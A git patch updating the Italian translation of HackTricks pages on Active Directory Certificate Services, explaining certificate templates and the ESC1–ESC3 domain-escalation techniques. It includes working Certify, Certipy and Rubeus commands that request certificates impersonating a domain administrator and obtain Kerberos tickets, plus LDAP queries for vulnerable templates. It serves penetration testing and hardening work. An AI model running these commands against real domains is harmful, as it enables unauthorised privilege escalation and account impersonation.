From 9054eb9a60779e36b5f24ab5f8eea193207f16b2 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 22:30:52 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/ad-c --- .../ad-certificates/README.md | 128 ++--- .../ad-certificates/domain-escalation.md | 485 +++++++++--------- 2 files changed, 322 insertions(+), 291 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 8c14de83f..f80dd9872 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -1,4 +1,4 @@ -# AD Certificates +# Certificati AD {{#include ../../../banners/hacktricks-training.md}} @@ -6,107 +6,117 @@ ### Componenti di un Certificato -- Il **Soggetto** del certificato denota il suo proprietario. -- Una **Chiave Pubblica** è abbinata a una chiave privata per collegare il certificato al suo legittimo proprietario. -- Il **Periodo di Validità**, definito dalle date **NotBefore** e **NotAfter**, segna la durata effettiva del certificato. -- Un **Numero di Serie** unico, fornito dall'Autorità di Certificazione (CA), identifica ciascun certificato. -- L'**Emittente** si riferisce alla CA che ha emesso il certificato. -- **SubjectAlternativeName** consente nomi aggiuntivi per il soggetto, migliorando la flessibilità di identificazione. -- **Basic Constraints** identificano se il certificato è per una CA o un'entità finale e definiscono le restrizioni d'uso. -- **Extended Key Usages (EKUs)** delineano gli scopi specifici del certificato, come la firma del codice o la crittografia delle email, attraverso Identificatori di Oggetto (OIDs). -- L'**Algoritmo di Firma** specifica il metodo per firmare il certificato. -- La **Firma**, creata con la chiave privata dell'emittente, garantisce l'autenticità del certificato. +- Il **Subject** del certificato indica il suo proprietario. +- Una **Public Key** è accoppiata a una chiave privata per collegare il certificato al legittimo proprietario. +- Il **Validity Period**, definito dalle date **NotBefore** e **NotAfter**, segna la durata effettiva del certificato. +- Un **Serial Number** univoco, fornito dalla Certificate Authority (CA), identifica ogni certificato. +- L'**Issuer** si riferisce alla CA che ha emesso il certificato. +- **SubjectAlternativeName** permette nomi aggiuntivi per il subject, aumentando la flessibilità di identificazione. +- **Basic Constraints** identificano se il certificato è per una CA o per un'entità finale e definiscono restrizioni d'uso. +- Le **Extended Key Usages (EKUs)** delineano gli scopi specifici del certificato, come code signing o crittografia email, tramite Object Identifiers (OID). +- La **Signature Algorithm** specifica il metodo per firmare il certificato. +- La **Signature**, creata con la chiave privata dell'issuer, garantisce l'autenticità del certificato. ### Considerazioni Speciali -- I **Subject Alternative Names (SANs)** espandono l'applicabilità di un certificato a più identità, cruciale per i server con più domini. Processi di emissione sicuri sono vitali per evitare rischi di impersonificazione da parte di attaccanti che manipolano la specifica SAN. +- Le **Subject Alternative Names (SANs)** estendono l'applicabilità di un certificato a più identità, cruciale per server con domini multipli. Processi di emissione sicuri sono vitali per evitare rischi di impersonificazione da parte di un attacker che manipola la specifica SAN. -### Autorità di Certificazione (CA) in Active Directory (AD) +### Certificate Authorities (CAs) in Active Directory (AD) -AD CS riconosce i certificati CA in un bosco AD attraverso contenitori designati, ognuno con ruoli unici: +AD CS riconosce i certificati CA in una foresta AD tramite contenitori designati, ognuno con ruoli unici: -- Il contenitore **Certification Authorities** contiene certificati CA radice fidati. -- Il contenitore **Enrolment Services** dettaglia le CA aziendali e i loro modelli di certificato. -- L'oggetto **NTAuthCertificates** include certificati CA autorizzati per l'autenticazione AD. -- Il contenitore **AIA (Authority Information Access)** facilita la validazione della catena di certificati con certificati CA intermedi e incrociati. +- Il contenitore **Certification Authorities** contiene i certificati root CA trusted. +- Il contenitore **Enrolment Services** dettaglia le Enterprise CAs e i loro certificate templates. +- L'oggetto **NTAuthCertificates** include i certificati CA autorizzati per l'autenticazione AD. +- Il contenitore **AIA (Authority Information Access)** facilita la validazione della chain di certificati con certificati intermediate e cross CA. -### Acquisizione del Certificato: Flusso di Richiesta del Certificato Client +### Acquisizione del Certificato: Flusso di Richiesta Cliente -1. Il processo di richiesta inizia con i client che trovano una CA aziendale. -2. Viene creato un CSR, contenente una chiave pubblica e altri dettagli, dopo aver generato una coppia di chiavi pubblica-privata. -3. La CA valuta il CSR rispetto ai modelli di certificato disponibili, emettendo il certificato in base ai permessi del modello. -4. Una volta approvato, la CA firma il certificato con la sua chiave privata e lo restituisce al client. +1. Il processo di richiesta inizia con i client che trovano una Enterprise CA. +2. Viene creato un CSR, contenente una public key e altri dettagli, dopo la generazione di una coppia di chiavi public-private. +3. La CA valuta il CSR rispetto ai certificate templates disponibili, emettendo il certificato in base alle autorizzazioni del template. +4. Dopo l'approvazione, la CA firma il certificato con la propria chiave privata e lo restituisce al client. -### Modelli di Certificato +### Certificate Templates -Definiti all'interno di AD, questi modelli delineano le impostazioni e i permessi per l'emissione dei certificati, inclusi EKU consentiti e diritti di registrazione o modifica, critici per gestire l'accesso ai servizi di certificato. +Definiti all'interno di AD, questi template stabiliscono le impostazioni e i permessi per l'emissione dei certificati, inclusi gli EKU consentiti e i diritti di enrollment o modifica, critici per gestire l'accesso ai servizi di certificazione. -## Registrazione del Certificato +## Certificate Enrollment -Il processo di registrazione per i certificati è avviato da un amministratore che **crea un modello di certificato**, che viene poi **pubblicato** da un'Autorità di Certificazione (CA) aziendale. Questo rende il modello disponibile per la registrazione del client, un passaggio ottenuto aggiungendo il nome del modello al campo `certificatetemplates` di un oggetto Active Directory. +Il processo di enrollment per i certificati è avviato da un amministratore che **crea un certificate template**, che viene poi **pubblicato** da una Enterprise Certificate Authority (CA). Questo rende il template disponibile per l'enrollment dei client, passo ottenuto aggiungendo il nome del template al campo `certificatetemplates` di un oggetto Active Directory. -Per un client per richiedere un certificato, devono essere concessi **diritti di registrazione**. Questi diritti sono definiti da descrittori di sicurezza sul modello di certificato e sulla CA aziendale stessa. I permessi devono essere concessi in entrambe le posizioni affinché una richiesta abbia successo. +Perché un client richieda un certificato, devono essere concessi i **diritti di enrollment**. Questi diritti sono definiti dai security descriptor sul certificate template e sulla Enterprise CA stessa. I permessi devono essere concessi in entrambe le posizioni affinché la richiesta abbia successo. -### Diritti di Registrazione del Modello +### Template Enrollment Rights -Questi diritti sono specificati attraverso Access Control Entries (ACEs), dettagliando permessi come: +Questi diritti sono specificati tramite Access Control Entries (ACEs), descrivendo permessi come: -- Diritti di **Certificate-Enrollment** e **Certificate-AutoEnrollment**, ciascuno associato a GUID specifici. -- **ExtendedRights**, che consentono tutti i permessi estesi. -- **FullControl/GenericAll**, fornendo il controllo completo sul modello. +- I diritti **Certificate-Enrollment** e **Certificate-AutoEnrollment**, ciascuno associato a GUID specifici. +- **ExtendedRights**, che permettono tutti i permessi estesi. +- **FullControl/GenericAll**, che forniscono il controllo completo sul template. -### Diritti di Registrazione della CA Aziendale +### Enterprise CA Enrollment Rights -I diritti della CA sono delineati nel suo descrittore di sicurezza, accessibile tramite la console di gestione dell'Autorità di Certificazione. Alcune impostazioni consentono anche a utenti con privilegi ridotti l'accesso remoto, il che potrebbe essere una preoccupazione per la sicurezza. +I diritti della CA sono delineati nel suo security descriptor, accessibile tramite la console di gestione della Certificate Authority. Alcune impostazioni consentono persino a utenti a basso privilegio l'accesso remoto, il che potrebbe rappresentare una problematica di sicurezza. -### Controlli Aggiuntivi per l'Emissione +### Controlli Aggiuntivi di Emissione -Possono applicarsi controlli specifici, come: +Possono applicarsi alcuni controlli, come: -- **Approvazione del Manager**: pone le richieste in uno stato di attesa fino all'approvazione da parte di un manager di certificati. -- **Agenti di Registrazione e Firme Autorizzate**: specificano il numero di firme richieste su un CSR e i necessari OIDs di Politica Applicativa. +- **Manager Approval**: mette le richieste in uno stato pending fino all'approvazione da parte di un certificate manager. +- **Enrolment Agents and Authorized Signatures**: specificano il numero di firme richieste su un CSR e gli Application Policy OID necessari. ### Metodi per Richiedere Certificati I certificati possono essere richiesti tramite: -1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), utilizzando interfacce DCOM. -2. **ICertPassage Remote Protocol** (MS-ICPR), attraverso pipe nominate o TCP/IP. -3. L'**interfaccia web di registrazione dei certificati**, con il ruolo di Web Enrollment dell'Autorità di Certificazione installato. -4. Il **Certificate Enrollment Service** (CES), in combinazione con il servizio di Politica di Registrazione dei Certificati (CEP). -5. Il **Network Device Enrollment Service** (NDES) per dispositivi di rete, utilizzando il Simple Certificate Enrollment Protocol (SCEP). +1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), usando interfacce DCOM. +2. **ICertPassage Remote Protocol** (MS-ICPR), tramite named pipes o TCP/IP. +3. L'**interfaccia web di certificate enrollment**, con il role Certificate Authority Web Enrollment installato. +4. Il **Certificate Enrollment Service** (CES), in combinazione con il servizio Certificate Enrollment Policy (CEP). +5. Il **Network Device Enrollment Service** (NDES) per dispositivi di rete, usando il Simple Certificate Enrollment Protocol (SCEP). -Gli utenti Windows possono anche richiedere certificati tramite l'interfaccia GUI (`certmgr.msc` o `certlm.msc`) o strumenti da riga di comando (`certreq.exe` o il comando `Get-Certificate` di PowerShell). +Gli utenti Windows possono inoltre richiedere certificati via GUI (`certmgr.msc` o `certlm.msc`) o strumenti da linea di comando (`certreq.exe` o il comando PowerShell `Get-Certificate`). ```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` -## Autenticazione con Certificato +## Autenticazione tramite certificato -Active Directory (AD) supporta l'autenticazione con certificato, utilizzando principalmente i protocolli **Kerberos** e **Secure Channel (Schannel)**. +Active Directory (AD) supporta l'autenticazione tramite certificato, utilizzando principalmente i protocolli **Kerberos** e **Secure Channel (Schannel)**. -### Processo di Autenticazione Kerberos +### Processo di autenticazione Kerberos -Nel processo di autenticazione Kerberos, la richiesta di un utente per un Ticket Granting Ticket (TGT) è firmata utilizzando la **chiave privata** del certificato dell'utente. Questa richiesta subisce diverse validazioni da parte del controller di dominio, inclusi la **validità**, il **percorso** e lo **stato di revoca** del certificato. Le validazioni includono anche la verifica che il certificato provenga da una fonte affidabile e la conferma della presenza dell'emittente nel **NTAUTH certificate store**. Validazioni riuscite portano all'emissione di un TGT. L'oggetto **`NTAuthCertificates`** in AD, si trova in: +Nel processo di autenticazione Kerberos, la richiesta di un Ticket Granting Ticket (TGT) da parte di un utente viene firmata usando la **chiave privata** del certificato dell'utente. Questa richiesta viene sottoposta a diverse verifiche da parte del domain controller, incluse la **validità**, il **percorso** e lo **stato di revoca** del certificato. Le verifiche includono anche la conferma che il certificato provenga da una fonte attendibile e la presenza dell'emittente nel **NTAUTH certificate store**. Le verifiche superate portano al rilascio di un TGT. L'oggetto **`NTAuthCertificates`** in AD si trova in: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -è centrale per stabilire fiducia per l'autenticazione dei certificati. +è centrale per stabilire la fiducia per l'autenticazione tramite certificato. ### Autenticazione Secure Channel (Schannel) -Schannel facilita connessioni TLS/SSL sicure, dove durante un handshake, il client presenta un certificato che, se validato con successo, autorizza l'accesso. La mappatura di un certificato a un account AD può coinvolgere la funzione **S4U2Self** di Kerberos o il **Subject Alternative Name (SAN)** del certificato, tra i vari metodi. +Schannel facilita connessioni TLS/SSL sicure, dove durante un handshake il client presenta un certificato che, se convalidato con successo, autorizza l'accesso. La mappatura di un certificato a un account AD può coinvolgere la funzione di Kerberos **S4U2Self** o il **Subject Alternative Name (SAN)** del certificato, tra gli altri metodi. -### Enumerazione dei Servizi di Certificato AD +### Enumerazione dei servizi di certificato AD -I servizi di certificato di AD possono essere enumerati tramite query LDAP, rivelando informazioni sulle **Enterprise Certificate Authorities (CAs)** e le loro configurazioni. Questo è accessibile da qualsiasi utente autenticato nel dominio senza privilegi speciali. Strumenti come **[Certify](https://github.com/GhostPack/Certify)** e **[Certipy](https://github.com/ly4k/Certipy)** sono utilizzati per l'enumerazione e la valutazione delle vulnerabilità negli ambienti AD CS. +I servizi di certificato di AD possono essere enumerati tramite query LDAP, rivelando informazioni sulle **Enterprise Certificate Authorities (CAs)** e le loro configurazioni. Questo è accessibile a qualsiasi utente autenticato nel dominio senza privilegi speciali. Strumenti come **[Certify](https://github.com/GhostPack/Certify)** e **[Certipy](https://github.com/ly4k/Certipy)** sono usati per l'enumerazione e la valutazione delle vulnerabilità negli ambienti AD CS. -I comandi per utilizzare questi strumenti includono: +I comandi per usare questi strumenti includono: ```bash -# Enumerate trusted root CA certificates and Enterprise CAs with Certify -Certify.exe cas -# Identify vulnerable certificate templates with Certify -Certify.exe find /vulnerable +# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints +# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks +Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] + +# Identify vulnerable certificate templates and filter for common abuse cases +Certify.exe find +Certify.exe find /vulnerable [/currentuser] +Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) +Certify.exe find /clientauth # templates with client-auth EKU +Certify.exe find /showAllPermissions # include template ACLs in output +Certify.exe find /json /outfile:C:\Temp\adcs.json + +# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery +Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] # Use Certipy for enumeration and identifying vulnerable templates certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 @@ -119,5 +129,7 @@ certutil -v -dstemplate - [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) - [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 6fd58637f..19834c3ff 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -2,108 +2,120 @@ {{#include ../../../banners/hacktricks-training.md}} -**Questo è un riepilogo delle sezioni delle tecniche di escalation dei post:** + +**This is a summary of escalation technique sections of the posts:** - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) - [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy) -## Modelli di Certificato Mal Configurati - ESC1 +## Misconfigured Certificate Templates - ESC1 -### Spiegazione +### Explanation -### Modelli di Certificato Mal Configurati - ESC1 Spiegato +### Misconfigured Certificate Templates - ESC1 Explained -- **I diritti di iscrizione sono concessi a utenti a bassa privilegiatura dall'Enterprise CA.** +- **I diritti di enrolment vengono concessi a utenti con pochi privilegi dall'Enterprise CA.** - **L'approvazione del manager non è richiesta.** -- **Non sono necessarie firme da parte del personale autorizzato.** -- **I descrittori di sicurezza sui modelli di certificato sono eccessivamente permissivi, consentendo agli utenti a bassa privilegiatura di ottenere diritti di iscrizione.** -- **I modelli di certificato sono configurati per definire EKU che facilitano l'autenticazione:** -- Identificatori di Extended Key Usage (EKU) come Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), o nessun EKU (SubCA) sono inclusi. -- **La possibilità per i richiedenti di includere un subjectAltName nella Certificate Signing Request (CSR) è consentita dal modello:** -- Active Directory (AD) dà priorità al subjectAltName (SAN) in un certificato per la verifica dell'identità se presente. Ciò significa che specificando il SAN in una CSR, può essere richiesto un certificato per impersonare qualsiasi utente (ad es., un amministratore di dominio). Se un SAN può essere specificato dal richiedente è indicato nell'oggetto AD del modello di certificato attraverso la proprietà `mspki-certificate-name-flag`. Questa proprietà è un bitmask, e la presenza del flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` consente la specifica del SAN da parte del richiedente. +- **Non sono necessarie firme da personale autorizzato.** +- **I descrittori di sicurezza sui template di certificato sono eccessivamente permissivi, permettendo a utenti con pochi privilegi di ottenere diritti di enrolment.** +- **I template di certificato sono configurati per definire EKU che facilitano l'autenticazione:** +- Extended Key Usage (EKU) identifiers come Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), o nessun EKU (SubCA) sono inclusi. +- **La possibilità per i richiedenti di includere un subjectAltName nella Certificate Signing Request (CSR) è consentita dal template:** +- Active Directory (AD) dà priorità al subjectAltName (SAN) in un certificato per la verifica dell'identità se presente. Questo significa che specificando il SAN in una CSR, è possibile richiedere un certificato per impersonare qualsiasi utente (es. un domain administrator). Se un richiedente può specificare un SAN è indicato nell'oggetto AD del template di certificato tramite la proprietà `mspki-certificate-name-flag`. Questa proprietà è una bitmask, e la presenza del flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permette al richiedente di specificare il SAN. > [!CAUTION] -> La configurazione delineata consente agli utenti a bassa privilegiatura di richiedere certificati con qualsiasi SAN a scelta, abilitando l'autenticazione come qualsiasi principale di dominio tramite Kerberos o SChannel. +> La configurazione descritta permette a utenti con pochi privilegi di richiedere certificati con qualsiasi SAN a scelta, abilitando l'autenticazione come qualsiasi principal del dominio tramite Kerberos o SChannel. -Questa funzionalità è talvolta abilitata per supportare la generazione al volo di certificati HTTPS o di host da parte di prodotti o servizi di distribuzione, o a causa di una mancanza di comprensione. +Questa funzionalità è a volte abilitata per supportare la generazione on-the-fly di certificati HTTPS o host da parte di prodotti o servizi di deployment, oppure per mancanza di comprensione. -Si nota che la creazione di un certificato con questa opzione attiva un avviso, il che non accade quando un modello di certificato esistente (come il modello `WebServer`, che ha `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato) viene duplicato e poi modificato per includere un OID di autenticazione. +Si osserva che creare un certificato con questa opzione genera un avviso, cosa che non avviene quando un template di certificato esistente (ad esempio il template `WebServer`, che ha `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato) viene duplicato e poi modificato per includere un OID di autenticazione. -### Abuso +### Abuse -Per **trovare modelli di certificato vulnerabili** puoi eseguire: +To **find vulnerable certificate templates** you can run: ```bash Certify.exe find /vulnerable certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` Per **sfruttare questa vulnerabilità per impersonare un amministratore** si potrebbe eseguire: ```bash -Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin -certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' +# Impersonate by setting SAN to a target principal (UPN or sAMAccountName) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local + +# Optionally pin the target's SID into the request (post-2022 SID mapping aware) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \ +/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Certipy equivalent +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \ +-template 'ESC1' -upn 'administrator@corp.local' ``` -Puoi quindi trasformare il **certificato generato in formato `.pfx`** e usarlo per **autenticarti utilizzando Rubeus o certipy** di nuovo: +Poi puoi trasformare il **certificato generato in `.pfx`** e usarlo per **autenticarti nuovamente usando Rubeus o certipy**: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -I file binari di Windows "Certreq.exe" e "Certutil.exe" possono essere utilizzati per generare il PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +I binari di Windows "Certreq.exe" e "Certutil.exe" possono essere usati per generare il PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -L'enumerazione dei modelli di certificato all'interno dello schema di configurazione della foresta AD, specificamente quelli che non richiedono approvazione o firme, che possiedono un EKU di Autenticazione Client o Accesso con Smart Card, e con il flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato, può essere eseguita eseguendo la seguente query LDAP: +L'enumerazione dei template di certificato nello schema di configurazione della forest AD, specificamente quelli che non richiedono approvazione o firme, che possiedono un Client Authentication o Smart Card Logon EKU, e con la flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitata, può essere eseguita eseguendo la seguente query LDAP: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` -## Modelli di Certificati Malconfigurati - ESC2 +## Misconfigured Certificate Templates - ESC2 ### Spiegazione Il secondo scenario di abuso è una variazione del primo: -1. I diritti di registrazione sono concessi a utenti a bassa privilegiatura da parte dell'Enterprise CA. -2. Il requisito di approvazione del manager è disabilitato. -3. La necessità di firme autorizzate è omessa. -4. Un descrittore di sicurezza eccessivamente permissivo sul modello di certificato concede diritti di registrazione del certificato a utenti a bassa privilegiatura. -5. **Il modello di certificato è definito per includere l'Any Purpose EKU o nessun EKU.** +1. I diritti di enrollment sono concessi agli utenti poco privilegiati dall'Enterprise CA. +2. Il requisito di approvazione da parte del responsabile è disabilitato. +3. La necessità di firme autorizzate è stata omessa. +4. Un security descriptor eccessivamente permissivo sul template del certificato concede diritti di enrollment a utenti poco privilegiati. +5. **Il template del certificato è definito per includere l'Any Purpose EKU o nessun EKU.** -L'**Any Purpose EKU** consente a un certificato di essere ottenuto da un attaccante per **qualsiasi scopo**, inclusa l'autenticazione del client, l'autenticazione del server, la firma del codice, ecc. La stessa **tecnica utilizzata per ESC3** può essere impiegata per sfruttare questo scenario. +L'**Any Purpose EKU** permette a un attaccante di ottenere un certificato per **qualsiasi scopo**, inclusi autenticazione client, autenticazione server, firma del codice, ecc. La stessa **technique used for ESC3** può essere impiegata per sfruttare questo scenario. -I certificati con **nessun EKU**, che fungono da certificati CA subordinati, possono essere sfruttati per **qualsiasi scopo** e possono **anche essere utilizzati per firmare nuovi certificati**. Pertanto, un attaccante potrebbe specificare EKU o campi arbitrari nei nuovi certificati utilizzando un certificato CA subordinato. +I certificati con **nessun EKU**, che fungono da certificati di CA subordinata, possono essere sfruttati per **qualsiasi scopo** e possono **anche essere usati per firmare nuovi certificati**. Di conseguenza, un attaccante potrebbe specificare EKU arbitrari o campi nei nuovi certificati utilizzando un certificato di CA subordinata. -Tuttavia, i nuovi certificati creati per **l'autenticazione del dominio** non funzioneranno se la CA subordinata non è fidata dall'oggetto **`NTAuthCertificates`**, che è l'impostazione predefinita. Tuttavia, un attaccante può comunque creare **nuovi certificati con qualsiasi EKU** e valori di certificato arbitrari. Questi potrebbero essere potenzialmente **abusati** per una vasta gamma di scopi (ad es., firma del codice, autenticazione del server, ecc.) e potrebbero avere implicazioni significative per altre applicazioni nella rete come SAML, AD FS o IPSec. +Tuttavia, i nuovi certificati creati per **autenticazione di dominio** non funzioneranno se la CA subordinata non è fidata dall'oggetto **`NTAuthCertificates`**, che è l'impostazione predefinita. Nonostante ciò, un attaccante può comunque creare **nuovi certificati con qualsiasi EKU** e valori arbitrari del certificato. Questi potrebbero essere potenzialmente sfruttati per un'ampia gamma di scopi (es., firma del codice, autenticazione server, ecc.) e potrebbero avere implicazioni significative per altre applicazioni nella rete come SAML, AD FS o IPSec. -Per enumerare i modelli che corrispondono a questo scenario all'interno dello schema di configurazione della foresta AD, può essere eseguita la seguente query LDAP: +Per enumerare i template che corrispondono a questo scenario all'interno dello schema di configurazione della foresta AD, può essere eseguita la seguente query LDAP: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` -## Modelli di Agente di Registrazione Malconfigurati - ESC3 +## Modelli Enrollment Agent mal configurati - ESC3 ### Spiegazione -Questo scenario è simile al primo e al secondo, ma **abusa** di un **EKU** (Agente di Richiesta di Certificato) **diverso** e **2 modelli** diversi (pertanto ha 2 set di requisiti), +Questo scenario è simile al primo e al secondo ma **abusando** di un **EKU diverso** (Certificate Request Agent) e di **2 template diversi** (quindi ha 2 serie di requisiti), -L'**EKU dell'Agente di Richiesta di Certificato** (OID 1.3.6.1.4.1.311.20.2.1), noto come **Agente di Registrazione** nella documentazione Microsoft, consente a un principale di **registrarsi** per un **certificato** per **conto di un altro utente**. +L'**EKU Certificate Request Agent** (OID 1.3.6.1.4.1.311.20.2.1), noto come **Enrollment Agent** nella documentazione Microsoft, permette a un principal di **richiedere** un **certificato** **per conto di un altro utente**. -L'**“agente di registrazione”** si registra in un **modello** e utilizza il **certificato risultante per co-firmare un CSR per conto dell'altro utente**. Poi **invia** il **CSR co-firmato** all'CA, registrandosi in un **modello** che **permette “registrarsi per conto di”**, e l'CA risponde con un **certificato appartenente all'“altro” utente**. +L'**"enrollment agent"** si iscrive a un tale **template** e usa il **certificato risultante per co-firmare un CSR per conto dell'altro utente**. Successivamente **invia** il **CSR co-firmato** alla CA, iscrivendosi a un **template** che **permette "enroll on behalf of"**, e la CA risponde con un **certificato appartenente all'“altro” utente**. **Requisiti 1:** -- I diritti di registrazione sono concessi a utenti a basso privilegio dall'Enterprise CA. -- Il requisito per l'approvazione del manager è omesso. +- I diritti di enrollment sono concessi a utenti a basso privilegio dalla Enterprise CA. +- Il requisito dell'approvazione del manager è omesso. - Nessun requisito per firme autorizzate. -- Il descrittore di sicurezza del modello di certificato è eccessivamente permissivo, concedendo diritti di registrazione a utenti a basso privilegio. -- Il modello di certificato include l'EKU dell'Agente di Richiesta di Certificato, abilitando la richiesta di altri modelli di certificato per conto di altri principali. +- Il security descriptor del template di certificato è eccessivamente permissivo, concedendo diritti di enrollment a utenti a basso privilegio. +- Il template di certificato include l'EKU Certificate Request Agent, abilitando la richiesta di altri template di certificato per conto di altri principal. **Requisiti 2:** -- L'Enterprise CA concede diritti di registrazione a utenti a basso privilegio. -- L'approvazione del manager è bypassata. -- La versione dello schema del modello è 1 o supera 2, e specifica un Requisito di Emissione di Politica Applicativa che richiede l'EKU dell'Agente di Richiesta di Certificato. -- Un EKU definito nel modello di certificato consente l'autenticazione del dominio. -- Le restrizioni per gli agenti di registrazione non sono applicate sull'CA. +- La Enterprise CA concede diritti di enrollment a utenti a basso privilegio. +- L'approvazione del manager viene bypassata. +- La versione dello schema del template è o 1 o superiore a 2, e specifica un Application Policy Issuance Requirement che richiede l'EKU Certificate Request Agent. +- Un EKU definito nel template di certificato permette l'autenticazione di dominio. +- Le restrizioni per gli enrollment agent non sono applicate sulla CA. ### Abuso -Puoi utilizzare [**Certify**](https://github.com/GhostPack/Certify) o [**Certipy**](https://github.com/ly4k/Certipy) per abusare di questo scenario: +Puoi usare [**Certify**](https://github.com/GhostPack/Certify) o [**Certipy**](https://github.com/ly4k/Certipy) per sfruttare questo scenario: ```bash # Request an enrollment agent certificate Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent @@ -117,39 +129,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -Gli **utenti** che sono autorizzati a **ottenere** un **certificato di agente di registrazione**, i modelli nei quali gli **agenti** di registrazione sono autorizzati a registrarsi e gli **account** per conto dei quali l'agente di registrazione può agire possono essere limitati dalle CA aziendali. Questo si ottiene aprendo il `certsrc.msc` **snap-in**, **facendo clic con il tasto destro sulla CA**, **selezionando Proprietà**, e poi **navigando** alla scheda “Agenti di registrazione”. +Gli **utenti** che sono autorizzati a **ottenere** un **enrollment agent certificate**, i template in cui gli enrollment **agents** sono autorizzati a iscriversi e gli **account** per conto dei quali l'enrollment agent può agire possono essere limitati dalle CA aziendali. Ciò si ottiene aprendo lo snap-in `certsrc.msc`, **cliccando col tasto destro sulla CA**, **cliccando Properties**, e poi **navigando** alla scheda “Enrollment Agents”. -Tuttavia, si nota che l'impostazione **predefinita** per le CA è “**Non limitare gli agenti di registrazione**.” Quando la restrizione sugli agenti di registrazione è abilitata dagli amministratori, impostandola su 